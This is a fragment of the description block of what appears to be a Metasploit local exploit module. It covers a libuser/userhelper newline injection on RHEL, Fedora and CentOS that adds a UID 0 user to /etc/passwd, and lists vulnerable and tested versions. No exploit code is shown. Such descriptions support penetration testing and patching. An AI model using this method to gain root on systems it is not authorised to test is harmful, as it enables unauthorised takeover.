      'Description'    => %q{
        This module attempts to gain root privileges on Red Hat based Linux
        systems, including RHEL, Fedora and CentOS, by exploiting a newline
        injection vulnerability in libuser and userhelper versions prior to
        0.56.13-8 and version 0.60 before 0.60-7.

        This module makes use of the roothelper.c exploit from Qualys to
        insert a new user with UID=0 in /etc/passwd.

        Note, the password for the current user is required by userhelper.

        Note, on some systems, such as Fedora 11, the user entry for the
        current user in /etc/passwd will become corrupted and exploitation
        will fail.

        This module has been tested successfully on libuser packaged versions
        0.56.13-4.el6 on CentOS 6.0 (x86_64);
        0.56.13-5.el6 on CentOS 6.5 (x86_64);
        0.60-5.el7 on CentOS 7.1-1503 (x86_64);
        0.56.16-1.fc13 on Fedora 13 (i686);
        0.59-1.fc19 on Fedora Desktop 19 (x86_64);
        0.60-3.fc20 on Fedora Desktop 20 (x86_64);
        0.60-6.fc21 on Fedora Desktop 21 (x86_64);
        0.60-6.fc22 on Fedora Desktop 22 (x86_64);
        0.56.13-5.el6 on Red Hat 6.6 (x86_64); and
        0.60-5.el7 on Red Hat 7.0 (x86_64).

        RHEL 5 is vulnerable, however the installed version of glibc (2.5)
        is missing various functions required by roothelper.c.
